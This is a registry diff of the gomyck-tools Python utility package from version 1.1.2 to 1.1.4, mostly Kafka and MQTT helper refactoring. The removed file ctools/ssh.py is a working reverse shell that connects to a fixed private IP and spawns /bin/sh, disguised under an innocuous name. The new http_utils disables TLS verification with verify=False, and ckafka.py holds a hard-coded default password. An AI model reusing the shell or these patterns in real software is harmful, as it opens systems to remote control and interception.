gomyck-tools 1.1.2__tar.gz → 1.1.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/PKG-INFO +5 -2
  2. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/bottle_web_base.py +1 -6
  3. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/ckafka.py +94 -85
  4. gomyck-tools-1.1.4/ctools/dict_wrapper.py +11 -0
  5. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/http_utils.py +4 -4
  6. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/id_worker_tools.py +1 -1
  7. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/images_tools.py +0 -1
  8. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/imgDialog.py +0 -1
  9. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/mqtt_utils.py +6 -2
  10. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/pty_tools.py +2 -0
  11. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/string_tools.py +2 -1
  12. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/PKG-INFO +5 -2
  13. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/SOURCES.txt +1 -1
  14. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/requires.txt +4 -1
  15. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/setup.py +2 -5
  16. gomyck-tools-1.1.2/ctools/ssh.py +0 -11
  17. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/README.md +0 -0
  18. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/__init__.py +0 -0
  19. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/aes_tools.py +0 -0
  20. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/api_result.py +0 -0
  21. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/application.py +0 -0
  22. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/b64.py +0 -0
  23. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/bashPath.py +0 -0
  24. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/bottle_webserver.py +0 -0
  25. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/bottle_websocket.py +0 -0
  26. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/browser_element_tools.py +0 -0
  27. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/call.py +0 -0
  28. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/cjson.py +0 -0
  29. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/compile_tools.py +0 -0
  30. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/console.py +0 -0
  31. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/cron_lite.py +0 -0
  32. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/database.py +0 -0
  33. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/date_utils.py +0 -0
  34. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/douglas_rarefy.py +0 -0
  35. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/download_tools.py +0 -0
  36. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/enums.py +0 -0
  37. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/ex.py +0 -0
  38. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/excelOpt.py +0 -0
  39. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/html_soup.py +0 -0
  40. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/license.py +0 -0
  41. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/metrics.py +0 -0
  42. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/obj.py +0 -0
  43. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/pacth.py +0 -0
  44. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/plan_area_tools.py +0 -0
  45. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/process_pool.py +0 -0
  46. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/resource_bundle_tools.py +0 -0
  47. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/screenshot_tools.py +0 -0
  48. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/sign.py +0 -0
  49. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/sm_tools.py +0 -0
  50. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/strDiff.py +0 -0
  51. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/sys_info.py +0 -0
  52. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/sys_log.py +0 -0
  53. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/thread_pool.py +0 -0
  54. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/upload_tools.py +0 -0
  55. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/win_canvas.py +0 -0
  56. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/win_control.py +0 -0
  57. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/wordFill.py +0 -0
  58. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/word_fill.py +0 -0
  59. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/word_fill_entity.py +0 -0
  60. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/work_path.py +0 -0
  61. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/dependency_links.txt +0 -0
  62. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/top_level.txt +0 -0
  63. {gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/setup.cfg +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: gomyck-tools
3
- Version: 1.1.2
3
+ Version: 1.1.4
4
4
  Summary: A ctools for python development by hao474798383
5
5
  Home-page: https://blog.gomyck.com
6
6
  Author: gomyck
@@ -20,7 +20,10 @@ Requires-Dist: psutil>=6.0.0
20
20
  Requires-Dist: jsonpath_ng>=1.6.1
21
21
  Requires-Dist: bottle==0.13.1
22
22
  Requires-Dist: requests==2.32.3
23
+ Requires-Dist: urllib3==1.26.18
23
24
  Requires-Dist: kafka-python==2.0.2
24
- Requires-Dist: bottle-websocket==0.2.9
25
+ Requires-Dist: bs4==0.0.2
26
+ Requires-Dist: paho-mqtt==2.1.0
27
+ Requires-Dist: fuzzywuzzy==0.18.0
25
28
 
26
29
  this package is for python development
@@ -4,7 +4,7 @@ from functools import wraps
4
4
 
5
5
  import bottle
6
6
  from bottle import response, Bottle, request
7
-
7
+ from ctools.dict_wrapper import DictWrapper
8
8
  from ctools.api_result import R
9
9
  from ctools.sys_log import flog as log
10
10
 
@@ -142,9 +142,4 @@ class FormDataParams:
142
142
  except Exception:
143
143
  return self.files[key]
144
144
 
145
- class DictWrapper(dict):
146
- def __getattr__(self, key):
147
- return self.get(key)
148
145
 
149
- def __setattr__(self, key, value):
150
- self[key] = value
@@ -14,137 +14,146 @@ from ctools.cjson import dumps
14
14
 
15
15
  """
16
16
  import time
17
+ from datetime import datetime
17
18
 
18
- from ctools import thread_pool
19
+ from ctools import thread_pool, string_tools
19
20
  from ctools.ckafka import CKafka
20
21
 
21
22
  c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
22
23
 
24
+ producer = c.init_producer()
25
+ consumer = c.init_consumer(enable_auto_commit=False)
26
+
23
27
  def send_msg():
24
28
  while True:
25
- time.sleep(3)
26
- c.send_msg('test', 'test')
29
+ command = input('发送消息: Y/n \n')
30
+ if command.strip() not in ['N', 'n']:
31
+ producer.send_msg('jqxx-lib', '{{"jqid": "{}", "xxxx": "{}=={}"}}'.format(string_tools.get_snowflake_id(), command.strip(), datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')))
32
+ else:
33
+ break
27
34
 
28
35
  thread_pool.submit(send_msg)
29
- c.get_msg('test')
30
- """
31
36
 
32
- class CKafka:
37
+ def consumer_callback(msg):
38
+ print(msg)
39
+ return True
40
+
41
+ consumer.receive_msg('jqxx-lib', callBack=consumer_callback)
33
42
 
34
- def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password', consumer_group: str = 'ck-py-kafka-consumer'):
35
- self.consumer: KafkaConsumer = None
36
- self.producer: KafkaProducer = None
43
+ time.sleep(10000)
44
+ """
45
+ class KafkaInstance:
46
+ def __init__(self, producer: KafkaProducer, consumer: KafkaConsumer):
37
47
  self.start_consumer = False
48
+ self.quited = False
49
+ self.producer = producer
50
+ self.consumer = consumer
38
51
  self.consumer_callback = {"topic_key": []}
39
- self.consumer_group = consumer_group
52
+
53
+ # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
54
+ # r.add_callback(lambda x: print(x))
55
+ # r.get() 可以同步获取结果
56
+ def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
57
+ if self.producer is None: raise RuntimeError("Producer is not initialized")
58
+ if self.quited: return
59
+ return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
60
+
61
+ def receive_msg(self, topics: str, callBack=print):
62
+ if self.consumer is None: raise RuntimeError("Consumer is not initialized")
63
+ for topic in topics.split(','):
64
+ if topic not in self.consumer_callback.keys():
65
+ self.consumer_callback[topic] = []
66
+ self.consumer.subscribe(self.consumer_callback.keys())
67
+ self.consumer_callback[topic].append(callBack)
68
+ if not self.start_consumer:
69
+ t = Thread(target=self._start_consumer_poll, daemon=True)
70
+ t.start()
71
+
72
+ def _start_consumer_poll(self):
73
+ self.start_consumer = True
74
+ for msg in self.consumer:
75
+ if self.quited: break
76
+ funcList = []
77
+ begin_time = time.time()
78
+ for func in self.consumer_callback[msg.topic]:
79
+ if self.quited: break
80
+ res = func(msg)
81
+ if not self.consumer.config['enable_auto_commit'] and res: self.consumer.commit()
82
+ funcList.append(func.__name__)
83
+ end_time = time.time()
84
+ if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
85
+ funcList.clear()
86
+
87
+ def shutdown(self):
88
+ self.quited = True
89
+ try: self.consumer.close()
90
+ except Exception: pass
91
+ try: self.producer.close()
92
+ except Exception: pass
93
+
94
+
95
+ class CKafka:
96
+
97
+ def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password'):
40
98
  self.kafka_url = kafka_url
41
- self.init_producer = False
42
- self.init_consumer = False
43
99
  self.secure = secure
44
100
  self.username = username
45
101
  self.password = password
46
- self.locker = Lock()
47
- self.quited = False
48
102
 
49
- def _create_producer(self) -> KafkaProducer:
103
+ def init_producer(self, acks=1) -> KafkaInstance:
50
104
  print("[ Producer ] Connecting to Kafka brokers")
51
105
  for i in range(0, 6):
52
106
  try:
53
107
  if self.secure:
54
- self.producer = KafkaProducer(
108
+ producer = KafkaProducer(
109
+ acks=acks,
55
110
  bootstrap_servers=self.kafka_url,
111
+ value_serializer=lambda x: dumps(x).encode('utf-8'),
56
112
  sasl_plain_username=self.username,
57
113
  sasl_plain_password=self.password,
58
114
  security_protocol='SASL_PLAINTEXT',
59
- sasl_mechanism='PLAIN',
60
- value_serializer=lambda x: dumps(x).encode('utf-8'))
115
+ sasl_mechanism='PLAIN'
116
+ )
61
117
  else:
62
- self.producer = KafkaProducer(
118
+ producer = KafkaProducer(
119
+ acks=acks,
63
120
  bootstrap_servers=self.kafka_url,
64
- value_serializer=lambda x: dumps(x).encode('utf-8'))
121
+ value_serializer=lambda x: dumps(x).encode('utf-8')
122
+ )
65
123
  print("[ Producer ] Connected to Kafka...")
66
- self.init_producer = True
67
- return self.producer
124
+ return KafkaInstance(producer=producer, consumer=None)
68
125
  except errors.NoBrokersAvailable:
69
126
  print("[ Producer ] Waiting for brokers to become available...")
70
127
  time.sleep(3)
71
128
  raise RuntimeError("[ Producer ] Failed to connect to brokers within 60 seconds")
72
129
 
73
- def _create_consumer(self) -> KafkaProducer:
130
+ def init_consumer(self, client_id: str = 'ck-py-kafka-consumer', consumer_group: str = 'ck-py-kafka-consumer', enable_auto_commit: bool = True) -> KafkaInstance:
74
131
  print("[ Consumer ] Connecting to Kafka brokers")
75
132
  for i in range(0, 6):
76
133
  try:
77
134
  if self.secure:
78
- self.consumer = KafkaConsumer(
79
- group_id=self.consumer_group,
135
+ consumer = KafkaConsumer(
136
+ client_id=client_id,
137
+ group_id=consumer_group,
138
+ enable_auto_commit=enable_auto_commit,
80
139
  bootstrap_servers=self.kafka_url,
140
+ value_deserializer=lambda x: x.decode('utf-8'),
81
141
  sasl_plain_username=self.username,
82
142
  sasl_plain_password=self.password,
83
143
  security_protocol='SASL_PLAINTEXT',
84
- sasl_mechanism='PLAIN',
85
- value_deserializer=lambda x: x.decode('utf-8'))
144
+ sasl_mechanism='PLAIN'
145
+ )
86
146
  else:
87
- self.consumer = KafkaProducer(
147
+ consumer = KafkaProducer(
148
+ client_id=client_id,
149
+ group_id=consumer_group,
150
+ enable_auto_commit=enable_auto_commit,
88
151
  bootstrap_servers=self.kafka_url,
89
- value_deserializer=lambda x: x.decode('utf-8'))
152
+ value_deserializer=lambda x: x.decode('utf-8')
153
+ )
90
154
  print("[ Consumer ] Connected to Kafka...")
91
- self.init_consumer = True
92
- return self.consumer
155
+ return KafkaInstance(producer=None, consumer=consumer)
93
156
  except errors.NoBrokersAvailable:
94
157
  print("[ Consumer ] Waiting for brokers to become available...")
95
158
  time.sleep(3)
96
159
  raise RuntimeError("[ Consumer ] Failed to connect to brokers within 60 seconds")
97
-
98
- # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
99
- # r.add_callback(lambda x: print(x))
100
- # r.get() 可以同步获取结果
101
- def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
102
- if self.quited: return None
103
- if not self.init_producer:
104
- with self.locker:
105
- if not self.init_producer:
106
- self._create_producer()
107
- return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
108
-
109
- def get_msg(self, topics: str, callBack=print):
110
- if not self.init_consumer:
111
- with self.locker:
112
- if not self.init_consumer:
113
- self._create_consumer()
114
- for topic in topics.split(','):
115
- if topic not in self.consumer_callback.keys():
116
- self.consumer_callback[topic] = []
117
- self.consumer.subscribe(self.consumer_callback.keys())
118
- self.consumer_callback[topic].append(callBack)
119
- if not self.start_consumer:
120
- t = Thread(target=self._start_consumer_poll)
121
- t.start()
122
-
123
- def _start_consumer_poll(self):
124
- self.start_consumer = True
125
- for msg in self.consumer:
126
- if self.quited: break
127
- taskList = []
128
- funcList = []
129
- begin_time = time.time()
130
- for func in self.consumer_callback[msg.topic]:
131
- if self.quited: break
132
- f = thread_pool.submit(func, (msg, ))
133
- taskList.append(f)
134
- funcList.append(func.__name__)
135
- for f in taskList:
136
- if self.quited: break
137
- f.result()
138
- end_time = time.time()
139
- if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
140
- taskList.clear()
141
- funcList.clear()
142
-
143
- def shutdown(self):
144
- self.quited = True
145
- try: self.consumer.close()
146
- except Exception: pass
147
- try: self.producer.close()
148
- except Exception: pass
149
- thread_pool.shutdown(wait=True)
150
-
@@ -0,0 +1,11 @@
1
+ #!/usr/bin/env python
2
+ # -*- coding: UTF-8 -*-
3
+ __author__ = 'haoyang'
4
+ __date__ = '2024/10/25 09:42'
5
+
6
+ class DictWrapper(dict):
7
+ def __getattr__(self, key):
8
+ return self.get(key)
9
+
10
+ def __setattr__(self, key, value):
11
+ self[key] = value
@@ -4,19 +4,19 @@ import requests
4
4
  def get(url, params=None, headers=None):
5
5
  result = ""
6
6
  try:
7
- response = requests.get(url, params=params, headers=headers, timeout=60)
7
+ response = requests.get(url, params=params, headers=headers, timeout=60, verify=False)
8
8
  response.raise_for_status()
9
9
  if response.status_code == 200:
10
10
  result = response.content
11
11
  except Exception as e:
12
12
  print("GET请求异常:", e)
13
- return result
13
+ return result.decode('utf-8')
14
14
 
15
15
 
16
16
  def post(url, data=None, json=None, headers=None, files=None):
17
17
  result = ""
18
- response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60)
18
+ response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60, verify=False)
19
19
  response.raise_for_status()
20
20
  if response.status_code == 200:
21
21
  result = response.content
22
- return result
22
+ return result.decode('utf-8')
@@ -31,7 +31,7 @@ class IdWorker(object):
31
31
  初始化
32
32
  :param datacenter_id: 数据中心(机器区域)ID
33
33
  :param worker_id: 机器ID
34
- :param sequence: 其实序号
34
+ :param sequence: 起始序号
35
35
  """
36
36
  # sanity check
37
37
  if worker_id > MAX_WORKER_ID or worker_id < 0:
@@ -1,4 +1,3 @@
1
-
2
1
  from io import BytesIO
3
2
 
4
3
  from PIL import Image
@@ -6,7 +6,6 @@ from tkinter import ttk
6
6
  import requests
7
7
  from PIL import Image, ImageTk
8
8
 
9
-
10
9
  def showImageTip(root, title, imagePath, tips):
11
10
  # 创建一个Tk对象
12
11
  if root:
@@ -1,13 +1,17 @@
1
1
  import time
2
+ from enum import Enum
2
3
  from typing import Dict
3
4
 
4
- from business.common import DictToObj
5
- from business.common.constant import MQTTEvent
5
+ from ctools.dict_wrapper import DictWrapper as DictToObj
6
6
  from paho.mqtt import client as mqtt
7
7
  from paho.mqtt.enums import CallbackAPIVersion
8
8
 
9
9
  from ctools import sys_log, cjson, string_tools, sys_info, date_utils, sm_tools, thread_pool
10
10
 
11
+ class MQTTEvent(Enum):
12
+
13
+ pass
14
+
11
15
  '''
12
16
  MQTT服务使用示例:
13
17
 
@@ -2,6 +2,8 @@ import _thread
2
2
  import queue
3
3
  import time
4
4
 
5
+ # 伪终端交互
6
+
5
7
  from winpty import PtyProcess
6
8
 
7
9
 
@@ -7,6 +7,7 @@ import chardet
7
7
 
8
8
  from ctools.id_worker_tools import IdWorker
9
9
 
10
+ idWorker = IdWorker(1, 2, 0)
10
11
 
11
12
  def get_random_str(size: int = 10):
12
13
  """
@@ -22,7 +23,7 @@ def get_uuid():
22
23
 
23
24
 
24
25
  def get_snowflake_id():
25
- return IdWorker(1, 2, 0).get_id()
26
+ return idWorker.get_id()
26
27
 
27
28
 
28
29
  def decode_bytes(bytes_str: Union[bytes, bytearray]):
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: gomyck-tools
3
- Version: 1.1.2
3
+ Version: 1.1.4
4
4
  Summary: A ctools for python development by hao474798383
5
5
  Home-page: https://blog.gomyck.com
6
6
  Author: gomyck
@@ -20,7 +20,10 @@ Requires-Dist: psutil>=6.0.0
20
20
  Requires-Dist: jsonpath_ng>=1.6.1
21
21
  Requires-Dist: bottle==0.13.1
22
22
  Requires-Dist: requests==2.32.3
23
+ Requires-Dist: urllib3==1.26.18
23
24
  Requires-Dist: kafka-python==2.0.2
24
- Requires-Dist: bottle-websocket==0.2.9
25
+ Requires-Dist: bs4==0.0.2
26
+ Requires-Dist: paho-mqtt==2.1.0
27
+ Requires-Dist: fuzzywuzzy==0.18.0
25
28
 
26
29
  this package is for python development
@@ -18,6 +18,7 @@ ctools/console.py
18
18
  ctools/cron_lite.py
19
19
  ctools/database.py
20
20
  ctools/date_utils.py
21
+ ctools/dict_wrapper.py
21
22
  ctools/douglas_rarefy.py
22
23
  ctools/download_tools.py
23
24
  ctools/enums.py
@@ -40,7 +41,6 @@ ctools/resource_bundle_tools.py
40
41
  ctools/screenshot_tools.py
41
42
  ctools/sign.py
42
43
  ctools/sm_tools.py
43
- ctools/ssh.py
44
44
  ctools/strDiff.py
45
45
  ctools/string_tools.py
46
46
  ctools/sys_info.py
@@ -8,5 +8,8 @@ psutil>=6.0.0
8
8
  jsonpath_ng>=1.6.1
9
9
  bottle==0.13.1
10
10
  requests==2.32.3
11
+ urllib3==1.26.18
11
12
  kafka-python==2.0.2
12
- bottle-websocket==0.2.9
13
+ bs4==0.0.2
14
+ paho-mqtt==2.1.0
15
+ fuzzywuzzy==0.18.0
@@ -2,7 +2,6 @@ import os
2
2
 
3
3
  from setuptools import setup, find_packages
4
4
 
5
-
6
5
  def parse_requirements(filename):
7
6
  with open(filename, 'r') as f:
8
7
  lines = f.read().splitlines()
@@ -12,7 +11,7 @@ requirements = parse_requirements(os.path.join(os.path.dirname(__file__), 'requi
12
11
 
13
12
  setup(
14
13
  name="gomyck-tools",
15
- version="1.1.2",
14
+ version="1.1.4",
16
15
  author="gomyck",
17
16
  author_email="hao474798383@163.com",
18
17
  description="A ctools for python development by hao474798383",
@@ -31,7 +30,5 @@ setup(
31
30
 
32
31
  # 安装依赖, 并生成构建包
33
32
  # pip install setuptools wheel twine
34
- # python setup.py sdist bdist_wheel
33
+ # rm -rf gomyck_tools.egg-info dist build && python setup.py sdist bdist_wheel && twine upload dist/* && rm -rf gomyck_tools.egg-info dist build
35
34
 
36
- # 构建之前要删除 build dist egg 三个目录
37
- # twine upload dist/*
@@ -1,11 +0,0 @@
1
- import os
2
- import socket
3
- import subprocess
4
-
5
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
6
- s.connect(('192.168.3.239',3123))
7
- os.dup2(s.fileno(),0)
8
- os.dup2(s.fileno(),1)
9
- os.dup2(s.fileno(),2)
10
- p=subprocess.call(['/bin/sh','-i'])
11
-
File without changes
File without changes
File without changes
File without changes
File without changes